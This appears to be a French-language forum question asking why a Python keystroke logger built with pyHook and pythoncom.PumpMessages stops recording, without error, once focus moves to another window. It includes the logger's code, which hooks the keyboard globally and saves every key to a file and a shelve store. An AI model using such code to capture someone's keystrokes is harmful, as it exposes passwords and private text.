donc j'écris un programme qui enregistre les frappes de touches et il fonctionne très bien jusqu'à ce que je clique loin de la boîte du programme. quand j'ai cliqué sur comme un navigateur de Cortana et commencé à taper, il a enregistré quelques traits puis complètement arrêté. Il n'a pas non plus jeté d'erreurs donc je ne sais pas comment le déboguer.pourquoi pythoncom.pumpmessages() cesse de fonctionner?
def run(self):
hm = pyHook.HookManager()
hm.KeyDown = self.OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
def OnKeyboardEvent(self,event):
ch=chr(event.Ascii)
#print [ch]
if ch in '\x00\x08':
val='/*'+event.Key+'*/'
if (val!=self.prev or ch=='\x08') and 'Capital' not in val:
print val,
self.writetofile(str(val))
data=shelve.open('loggerinfo')
data['strokes']=data['strokes'].append(val)
data.close()
self.prev=val
else:
self.prev=ch
char=None
if ch=='\r':
char='/*return*/'
elif ch=='\t':
char='/*tab*/'
else:
char=ch
if char!=None:
print char,
self.writetofile(str(char))
data=shelve.open('loggerinfo')
data['strokes']=data['strokes'].append(char)
data.close()
return True
Je ne sais pas exactement ce que le problème pourrait être, car il ne génère pas d'erreur.